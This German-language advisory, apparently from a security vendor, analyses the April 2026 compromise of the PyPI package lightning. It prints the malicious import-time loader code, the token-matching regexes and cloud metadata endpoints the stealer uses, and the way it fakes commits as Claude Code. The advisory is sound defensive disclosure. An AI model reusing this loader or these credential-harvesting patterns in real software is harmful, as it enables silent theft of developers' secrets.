Kompromittierung von lightning auf PyPI: Ein auf Bun basierender Credential-Stealer in Python

Am 30. April 2026 wurden zwei manipulierte Versionen des beliebten PyPI-Pakets lightning veröffentlicht, das das Deep-Learning-Framework betrifft, das früher unter dem Namen pytorch-lightning verteilt wurde. Die Versionen 2.6.2 und 2.6.3 enthalten ein verstecktes Verzeichnis _runtime, das beim Import die JavaScript-Laufzeitumgebung Bun von GitHub herunterlädt und damit einen rund 11 MB großen, verschleierten Credential-Stealer ausführt. Die letzte saubere Version ist 2.6.1, veröffentlicht am 30. Januar 2026. Dieses Muster, bei dem eine veröffentlichte Version eines Maintainers durch vom Angreifer eingeschleusten Code ersetzt oder ergänzt wird, bezeichnet Snyk Learn als Kompromittierung eines legitimen Pakets.

Zum Ausmaß: Laut pypistats.org verzeichnet die Distribution lightning 311.027 Downloads pro Tag, 2.051.273 pro Woche und 7.913.890 pro Monat. Das ältere Paket pytorch-lightning, das weiterhin separat installiert werden kann, kommt auf weitere 436.296 Downloads pro Tag. PyPI hat das Projekt inzwischen unter Quarantäne gestellt; https://pypi.org/pypi/lightning/json gibt HTTP 404 zurück, und die Projektseite enthält jetzt das Meta-Tag <meta name="pypi:project-status" content="quarantined">. Der Snapshot der Wayback Machine vom 18. Februar 2026 hält den Zustand vor der Kompromittierung fest, in dem 2.6.1 die neueste verfügbare Version war. Das ältere Paket pytorch-lightning ist nicht betroffen und verweist weiterhin auf die saubere Version 2.6.1.

Snyk hat die Sicherheitsmeldung SNYK-PYTHON-LIGHTNING-16323121 zu beiden kompromittierten Versionen veröffentlicht. Sie ist datiert auf veröffentlicht am 30. Apr. 2026, offengelegt am 29. Apr. 2026, Anerkennung: Peter van der Zee und weist einen CVSS-4.0-Basiswert von 9.3 (Kritisch) sowie CWE-506 (eingebetteter schädlicher Code) aus. Es wurde keine CVE zugewiesen. Die betroffenen Versionen werden von snyk test erkannt und sind in der Snyk Security Database aufgeführt.

Es ist der zweite Tag in Folge, an dem ein auf Bun basierender Stealer mit einer rund 11 MB großen, verschleierten Payload in einem Tier-1-Ökosystem veröffentlicht wurde. Bei der gestrigen Mini-Shai-Hulud-Kampagne in npm wurden vier Pakete aus dem SAP-Ökosystem mit demselben Muster aus Bun-Loader und großer verschleierter Payload kompromittiert. Die lightning-Payload ist eine in Python eingebettete Variante dieses Ansatzes: Statt den JavaScript-Stealer in natives Python zu übertragen, lieferten die Angreifer einen schlanken Python-Downloader, der Bun abruft und damit dieselbe Art JavaScript-Blob ausführt, die bei der npm-Welle zum Einsatz kam.

Was im schädlichen Paket steckt

Das kompromittierte Wheel behält die legitimen Bibliotheksdateien von lightning bei, sodass sich das Framework weiterhin importieren und ausführen lässt. Die schädlichen Ergänzungen befinden sich in einem versteckten Verzeichnis _runtime im Wheel und umfassen zwei wichtige Dateien:

• start.py (SHA-256 8046a11187c135da6959862ff3846e99ad15462d2ec8a2f77a30ad53ebd5dcf2): ein kleiner Python-Downloader. Er lädt Bun v1.3.13 von https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/<platform>.zip herunter und führt anschließend die Stealer-Payload in dieser Laufzeitumgebung aus. Die Bun-Version stimmt mit dem Loader überein, der bei der gestrigen npm-Welle beobachtet wurde – eine der direkteren technischen Verbindungen zwischen den beiden Vorfällen.

• router_runtime.js (SHA-256 5f5852b5f604369945118937b058e49064612ac69826e0adadca39a357dfb5b1): eine rund 11 MB große JavaScript-Datei mit einer einzigen Zeile und verschleiertem Code. Die Verschleierung verwendet eine String-Array-Rotation im Stil von javascript-obfuscator sowie eine zweite Chiffre namens __decodeScrambled() (PBKDF2/SHA-256, 200.000 Iterationen, Salt ctf-scramble-v2). Funktionsname, Algorithmus, Salt und Iterationszahl sind identisch mit der Chiffre, die Anfang des Jahres bei den Kompromittierungen von Checkmarx und Bitwarden CLI entschlüsselt wurde.

Das Wheel 2.6.3 selbst, lightning-2.6.3-py3-none-any.whl, hat den SHA-256-Wert 56070a9d8de0c0ffb1ec5c309953cf4679432df5a78df9aeb020fbb73d2be9fb. Dieser Wert stammt aus einer poetry.lock-Datei, die vor der Quarantäne des Pakets durch PyPI erstellt wurde. Das Wheel 2.6.2 wurde zu schnell unter Quarantäne gestellt, um weithin festgeschrieben zu werden; es wurde keine öffentliche Lockdatei gefunden, die seinen Hash enthält.

Die Ausführung ist an den Modulimport gekoppelt. Die schädliche Datei __init__.py ergänzt folgenden Code:

1def _run_runtime() -> None:
2    _runtime_dir = os.path.join(os.path.dirname(__file__), "_runtime")
3    _start = os.path.join(_runtime_dir, "start.py")
4    if os.path.exists(_start):
5        subprocess.Popen(
6            [sys.executable, _start],
7            cwd=_runtime_dir,
8            stdout=subprocess.DEVNULL,
9            stderr=subprocess.DEVNULL,
10        )
11
12threading.Thread(target=_run_runtime, daemon=True).start()

Wenn ein Python-Prozess import lightning ausführt, startet der Daemon-Thread die mit Bun gestartete Payload im Hintergrund und unterdrückt dabei die Ausgabe von stdout und stderr. Es gibt keinen separaten Befehl, kein postinstall-Äquivalent und keinen sichtbaren Nebeneffekt. Jede Umgebung, die lightning==2.6.2 oder lightning==2.6.3 importiert hat – auch ein einmaliges python -c "import lightning" in einem Notebook oder ein CI-Schritt, der das Framework lädt, um seine Version auszulesen –, sollte als betroffen gelten.

Die Payload läuft in drei beobachtbaren Phasen:

1. Abgreifen von Zugangsdaten mithilfe von Regex-Mustern für GitHub-OAuth-/PAT-Token (/gh[op]_[A-Za-z0-9]{36,}/g), npm-Token (/npm_[A-Za-z0-9]{36,}/g) und GitHub-App-JWTs (/ghs_\d+_[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g). Außerdem werden Cloud-Metadatendienste unter http://169.254.169.254 (AWS IMDS), http://169.254.170.2 (AWS ECS) und https://oauth2.googleapis.com/tokeninfo abgefragt. Abgegriffene Token werden zudem über https://api.github.com/user und https://registry.npmjs.org/-/whoami validiert.

2. Manipulation von Repositories über GitHubs GraphQL-Mutation createCommitOnBranch. Commits werden als claude <claude@users.noreply.github.com> signiert und mit dem Trailer Co-authored-by: versehen, um schädliche Änderungen als Aktivität von Anthropic Claude Code zu tarnen. In betroffenen Repositories abgelegte Dateien umfassen .claude/router_runtime.js, .claude/settings.json, .claude/setup.mjs, .vscode/tasks.json, .vscode/setup.mjs und .github/workflows/format-check.yml.

3. npm-Tarball-Wurm: Codepfade verändern lokale Paket-Tarballs auf dem Rechner eines Entwicklers, fügen setup.mjs ein, erhöhen die Patch-Version und veröffentlichen das Paket über ein direktes PUT an registry.npmjs.org, ohne die npm-CLI aufzurufen. Dieselbe Logik zur Selbstverbreitung hat Snyk gestern bei der Mini-Shai-Hulud-npm-Welle dokumentiert.

Das schädliche Wheel scheint die öffentliche API-Oberfläche von lightning nicht zu verändern. Das passt zum Interesse des Angreifers, das Paket vor einer Sperrung möglichst lange installierbar und importierbar zu halten.

Wie die schädlichen Wheels auf PyPI gelangten

Der Workflow release-pkg.yml des Projekts lightning veröffentlicht Pakete auf PyPI mithilfe eines langfristig gespeicherten API-Tokens (secrets.PYPI_TOKEN_LIGHTNING) über pypa/gh-action-pypi-publish, konfiguriert mit user: __token__. Für dieses Projekt ist kein PyPI Trusted Publisher (OIDC) eingerichtet. Ein separater Branch fix_package_publishing vom 19. März, der nie zusammengeführt wurde, entfernte ausdrücklich permissions: id-token: write aus dem Veröffentlichungsschritt.

Das ist wichtig, denn der Veröffentlichungsweg, über den die schädlichen Wheels ausgeliefert wurden, war mit hoher Wahrscheinlichkeit das gespeicherte Token selbst und nicht der GitHub-Actions-Workflow. Dafür sprechen zwei Indizien:

• Der Git-Tag 2.6.2 existiert in Lightning-AI/pytorch-lightning und wurde am 19. März von justusschock erstellt. Der zugehörige release-pkg-Workflow-Lauf schlug jedoch im Schritt publish-packages fehl. Issue #21681 (eingereicht am 20. April, „Release 2.6.2 fehlt auf PyPI“) bestätigt, dass 2.6.2 anschließend sechs Wochen lang nicht auf PyPI verfügbar war.

• Der Git-Tag 2.6.3 existiert überhaupt nicht. Es gibt weder refs/tags/2.6.3 noch ein GitHub-Release oder einen Workflow-Lauf für diese Version. Dennoch wurde heute ein Wheel für lightning==2.6.3 auf PyPI veröffentlicht.

Am naheliegendsten ist, dass der Angreifer im Besitz von PYPI_TOKEN_LIGHTNING war (langfristig gültig, ohne Audience-Bindung und ohne Freigabe vor jeder Veröffentlichung) und beide Wheels direkt mit twine oder einem vergleichbaren Client auf PyPI hochgeladen hat, ohne den GitHub-Actions-Workflow zu durchlaufen. Die sechswöchige Abwesenheit von PyPI bot Deckung: Entwickler, die auf die stark verspätete Version 2.6.2 warteten, hatten keinen offensichtlichen Grund, Verdacht zu schöpfen. Dasselbe strukturelle Muster wurde gestern in SAPs Post-Incident-PR zu cap-js/cds-dbs dokumentiert: Der Veröffentlichungsworkflow verfügte über Veröffentlichungsberechtigungen, jedoch ohne manuelle Freigabe.

Wie sich die Offenlegung auf GitHub entwickelte

Der zeitliche Ablauf der Offenlegung ist ungewöhnlich gut nachvollziehbar, weil der Maintainer-seitige Serviceaccount, der eingehende Issues schloss, seinen Feed events/public öffentlich zugänglich ließ.

Das GitHub-Konto pl-ghost (erstellt am 2020-12-01T15:50:40Z, Unternehmensangabe „PyTorchLightning & Grid.ai“) ist ein langjährig genutzter CI-Serviceaccount und kein Entwicklerkonto. Seine 40 vorherigen Commits in Lightning-AI/pytorch-lightning folgen alle demselben Muster ("Adding test for legacy checkpoint created with X.Y.Z" oder "docs: update ref to latest tutorials"). Sein Personal Access Token PAT_GHOST wird in release-pkg.yml verwendet, um nach jeder Veröffentlichung Aktualisierungen in andere Repositories, darunter gridai/base-images, zu übertragen. Für diese automatisierten Schritte verfügt das Token des Kontos konstruktionsbedingt über Schreibzugriff auf mehrere Repositories.

Heute reichten zwischen 12:40Z und 14:12Z vier Community-Mitglieder Issues zur Offenlegung in Lightning-AI/pytorch-lightning ein, und pl-ghost schloss jedes davon innerhalb weniger Minuten. Der vollständige Ablauf aus dem Feed /users/pl-ghost/events/public:

Einige Details dieses Ablaufs fallen besonders auf:

• Die vier zufällig wirkenden Branches (pgzicpysge, hwofzwmrto, uwpkpcguba sowie dependabot/fix-deds) folgen einem Muster aus zehn Kleinbuchstaben, das zuvor mit Shai-Huluds wurmartiger Erkundung von Schreibzugriffen in Verbindung gebracht wurde. Alle fünf Branches wurden innerhalb von Sekunden gelöscht und lösten keine Workflow-Läufe aus. Das deutet darauf hin, dass Branch-Schutzregeln direkte Pushes auf Standard-Branches verhinderten.

• Der Branch dependabot/fix-deds enthält einen Schrägstrich und das Segment „deds“, was nicht der tatsächlichen Dependabot-Konfiguration von Lightning-AI entspricht (echte Dependabot-Pushes verwenden ein Präfix mit Bindestrich). Der Branch-Name passt daher nicht zu einem legitimen Dependabot-Push in diesem Repository.

• Issue #21692 wurde von pvdz eingereicht, nachdem er beobachtet hatte, wie drei Issues hintereinander geschlossen wurden. Der vollständige Text lautet: „@Borda @williamFalcon @awaelchli siehe https://github.com/Lightning-AI/pytorch-lightning/issues/21691. Issues werden vom Angreifer automatisch geschlossen.“ pvdz ist Peter van der Zee, Ingenieur bei Socket und als Quelle im Snyk-Hinweis genannt; drei der vier Offenlegungs-Issues hat er direkt eingereicht.

• Issue #21691 wurde dreimal geschlossen und anschließend vom Maintainer ethanwharris dreimal wieder geöffnet. Mehrere Kommentare im Thread wurden von Lightning-AI als Organisationsverantwortlichem gelöscht – ein Verhalten, das dazu passt, dass Maintainer Inhalte des mutmaßlich kompromittierten Kontos moderierten. Zum Zeitpunkt der Veröffentlichung ist das Issue weiterhin offen.

Die Kombination aus geschlossenen Offenlegungs-Threads, Branch-Erstellungsmustern, die zuvor mit dem npm-Wurm in Verbindung gebracht wurden, und dem wie Dependabot gestalteten Branch-Namen spricht dafür, dass dieselben kompromittierten Zugangsdaten sowohl zum Veröffentlichen auf PyPI als auch für Aktionen im GitHub-Repository verwendet wurden. Der Einstieg über Maintainer-Zugangsdaten ist ein wiederkehrendes Muster bei Open-Source-Supply-Chain-Angriffen, über das Snyk bereits berichtet hat – unter anderem bei der Welle von Angriffen auf npm-Maintainer-Konten und beim PyPI-Kompromittierungsfall von elementary-data, der auf Zugangsdaten aus dem Data-Engineering abzielte.

Ein weiterer Kontextpunkt: Der GitHub-Issue-Thread enthielt auch einen Onion-Link zu einer Website mit Team-PCP-Branding. Dort wurde eine PGP-signierte Nachricht veröffentlicht, in der Verbindungen zu LAPSUS$ und früheren Erpressungsaktivitäten behauptet werden. Die PGP-Signatur wurde nicht unabhängig verifiziert; auch die zugrunde liegenden Behauptungen sind unbestätigt. Dasselbe Team-PCP-Branding tauchte Anfang des Jahres bei einem anderen von Snyk erfassten PyPI-Kompromittierungsfall auf: der litellm-Hintertür vom 24. März 2026. Es gibt jedoch auch deutliche Gegenbelege in der Entwicklungslinie: Beim PyPI-Kompromittierungsfall von xinference am 22. April bestritt das Team-PCP-X-Konto öffentlich eine Beteiligung und verwies auf einen Nachahmer, der die Marke nutzte. Die Einschätzungen verschiedener Anbieter zur Zuordnung des lightning-Angriffs gehen heute auseinander: Wiz bewertet mit hoher Zuversicht, dass die breitere Kampagne vom selben Akteur ausgeht (und verweist auf einen gemeinsam verwendeten öffentlichen RSA-Schlüssel zum Verschlüsseln exfiltrierter Geheimnisse), Aikido ordnet den Angriff als Fortsetzung von „Mini Shai-Hulud“ ein, und Socket bewertet ihn als Angriff eines eigenständigen Akteurs mit ähnlichem Vorgehen. Ob ein Zusammenhang besteht, opportunistisch ausgenutzt oder bewusst vorgetäuscht wird, ist weiterhin offen.

Warum „Bun in Python“ wichtig ist

Das aufschlussreichste forensische Detail ist die Wahl der Laufzeitumgebung. Die Nutzlast, die nach import lightning ausgeführt wird, ist JavaScript und läuft unter Bun auf dem Rechner eines Python-Entwicklers. Ein auf Python abzielender Credential-Stealer benötigt keine JavaScript-Laufzeitumgebung; außerdem erhöht die Mitlieferung von Bun die Größe des Wheels erheblich. Die naheliegendste Erklärung ist die Wiederverwendung der Nutzlast: Derselbe Stealer im Stil von router_runtime.js, den die Mini-Shai-Hulud-Variante gestern in preinstall-Hooks auf npm ausführte, wird nun über einen kleinen Python-Wrapper in Python-Projekte eingeschleust, der Bun und den JS-Blob startet. Die Chiffre-Signatur in router_runtime.js (Funktionsname __decodeScrambled, PBKDF2/SHA-256 mit 200.000 Iterationen und dem Salt ctf-scramble-v2) ist identisch mit den Nutzlasten von SAP execution.js, Bitwarden CLI und Checkmarx KICS. Das deutet auf gemeinsam genutzte Werkzeuge statt unabhängiger Neuimplementierungen hin.

Das passt zur breiteren Shai-Hulud-Linie. Der ursprüngliche Shai-Hulud-Wurm im September 2025, die Folgewelle SHA1-Hulud im November 2025, die über 600 Pakete traf, die Holiday-Whisper-/Shai-Hulud-3.0-Variante zum Jahresende und Snyks Rückblick auf die Lehren zur Widerstandsfähigkeit wiesen alle auf dieselbe grundlegende Fähigkeit hin: einen wurmartigen JavaScript-Stealer, der Tokens sammelt, sie mit registry.npmjs.org abgleicht und jeden gefundenen npm-Schreibzugriff nutzt, um sich selbst weiterzuverbreiten.

Play Video: Shai-Hulud NPM Attack: Remediation with Snyk

Shai-Hulud-NPM-Angriff: Behebung mit Snyk. Kurze Anleitung, wie Sie mit snyk test und der Snyk Security Database durch Shai-Hulud betroffene Abhängigkeiten identifizieren und beheben.

Der lightning-Kompromittierungsfall überträgt diese Fähigkeit ohne Umschreiben des Stealers auf PyPI. Wird eine JavaScript-Nutzlast in einen Python-Loader eingebettet, bleiben die Tools des JS-Ökosystems erhalten und zugleich erweitert sich die Reichweite auf weitere Registries. Der zeitliche Ablauf der letzten 48 Stunden passt dazu: gestern npm, heute PyPI – mit derselben Nutzlaststruktur und einem vergleichbaren Erkennungszeitraum.

Empfohlene Maßnahmen

Behandeln Sie jedes System, auf dem lightning==2.6.2 oder lightning==2.6.3 installiert und importiert wurde, als kompromittiert. Die Ausführungskette startet beim Import, nicht erst bei der Installation. Der Import allein reicht also aus, um die Nutzlast auszulösen.

1. Veraltete Versionen sperren oder entfernen. Sperren Sie lightning==2.6.2 und lightning==2.6.3 in Ihren Registry-Mirrors und stufen Sie auf lightning==2.6.1 zurück (saubere Version vom 30. Januar 2026). Aktualisieren Sie nicht über 2.6.1 hinaus, bis die Maintainer eine nachweislich saubere Version veröffentlichen.

2. Erneuern Sie Zugangsdaten, auf die aus der betroffenen Umgebung zugegriffen werden kann. Dazu gehören GitHub-Personal-Access-Tokens, GitHub-Fine-Grained-Tokens, npm-Tokens, Cloud-Provider-Schlüssel (AWS, GCP, Azure) und alle Geheimnisse in Umgebungsvariablen auf dem betroffenen Host. Erneuern Sie sie von einem separaten, vertrauenswürdigen Rechner aus.

3. Prüfen Sie GitHub auf nicht autorisierte Commits. Die Nutzlast committet in die Repositories der Opfer und verwendet dabei die gefälschte Identität claude <claude@users.noreply.github.com>. Prüfen Sie die Repository-Aktivität auf Commits mit diesem Autor, erstellte Branches oder Änderungen an Workflow-Dateien unter Konten, deren Tokens offengelegt wurden.

4. Prüfen Sie CI/CD-Logs und Entwicklerrechner. Achten Sie auf ausgehende Verbindungen zu https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/, unerwartete bun-Prozesse, Aufrufe von http://169.254.169.254 oder http://169.254.170.2 von Rechnern, die keine Cloud-Metadaten abfragen sollten, sowie auf neue Daemon-Threads, die von Python-Interpretern gestartet wurden, welche lightning im betroffenen Zeitraum importiert haben.

5. Prüfen Sie npm-Tarballs auf Entwicklerrechnern. Die Nutzlast enthält Code, der lokale npm-Pakete verändern und ohne Aufruf der npm-CLI auf registry.npmjs.org veröffentlichen kann. Wenn auf einem Entwicklerrechner npm-Zugangsdaten verfügbar waren und lightning importiert wurde, behandeln Sie das npm-Token als offengelegt und prüfen Sie die jüngsten Veröffentlichungen der mit diesem Rechner verknüpften Konten.

6. Suchen Sie auf GitHub nach Dead-Drop-Repositories. Im Rahmen der breiteren Kampagne werden Daten in öffentliche, den Opferkonten gehörende Repositories exfiltriert. Sie tragen die Beschreibung „A Mini Shai-Hulud has Appeared“ und Commit-Nachrichten mit dem Präfix OhNoWhatsGoingOnWithGitHub:. Die Suche https://github.com/search?q=%22A+Mini+Shai-Hulud+has+Appeared%22&type=repositories liefert die aktuell aktiven Treffer.

7. Prüfen Sie die Snyk-Ergebnisse. Führen Sie snyk test für betroffene Projekte aus. Der Hinweis SNYK-PYTHON-LIGHTNING-16323121 kennzeichnet beide schädlichen Versionen direkt.

Was uns das über das Bedrohungsmodell verrät

Einige Beobachtungen zu diesem Vorfall, die über die unmittelbar erforderlichen Bereinigungsmaßnahmen hinausgehen.

Angreifer-Tools werden schneller wiederverwendet, als Registry-Betreiber sie entfernen können. Die schädlichen lightning-Versionen wurden innerhalb von etwa 18 Minuten nach der Veröffentlichung durch automatisierte Scans erkannt. Das Paket ließ sich jedoch weiterhin installieren und der Offenlegungs-Thread auf GitHub war geschlossen worden. Der Abstand von 24 Stunden zwischen der gestrigen SAP-CAP-Kampagne auf npm und der heutigen lightning-Veröffentlichung auf PyPI passt entweder zu einem einzelnen Akteur, der nacheinander verschiedene Registries ins Visier nimmt, oder zu einem Nachahmer, der dieselbe Nutzlast weiterverwendet, solange sie funktioniert.

Die Wiederverwendung von Nutzlasten über Ökosystemgrenzen hinweg mithilfe eingebetteter Laufzeitumgebungen ist ein wiederkehrendes Muster. Snyk hat in der letzten Woche bereits zweimal über Varianten mit Bun-Loader und umfangreicher verschleierter Nutzlast auf npm berichtet – und nun auch auf PyPI. Die zentrale Erkenntnis: Der zugrunde liegende Diebstahl von Zugangsdaten, der Missbrauch von GitHub-Repositories und die Logik zur Selbstverbreitung auf npm sind unabhängig davon dieselben, welche Registry das Wheel ausgeliefert hat. Wer den Kompromittierungsfall jeder Registry als eigenständige Reaktion behandelt, übersieht die gemeinsame Angriffsfläche nach der Kompromittierung.

Der Fehlerpfad bei der Veröffentlichung ist jetzt klar erkennbar. Ein langlebiges PyPI-API-Token, das in GitHub-Actions-Secrets gespeichert ist, ohne Trusted-Publisher-Bindung und ohne manuelle Freigabe, ermöglicht es, dass ein Vorfall mit gestohlenen Zugangsdaten auf einem Entwickler- oder CI-Host mit Zugriff auf dieses Secret zur Kompromittierung einer Registry führt – ganz ohne den legitimen Workflow zu berühren. Sowohl dieser Vorfall als auch der SAP-cap-js-Kompromittierungsfall weisen auf dieselben Maßnahmen hin: eine OIDC-Bindung für Trusted Publisher, getrennte Principals für die Repository-Verwaltung und die Veröffentlichung in der Registry sowie eine ausdrückliche menschliche Freigabe, bevor Releases die Registry erreichen. Snyks Rückblick auf die Widerstandsfähigkeit gegen Shai-Hulud behandelt die umfassenderen Kontrollen. Snyk verfolgt weiterhin die breitere Shai-Hulud-Linie und damit verbundene Supply-Chain-Vorfälle in der Snyk Vulnerability Database. Der Live-Hinweis zu lightning wird aktualisiert, sobald die Nutzlast vollständig entschleiert und weitere Kompromittierungsindikatoren bestätigt wurden.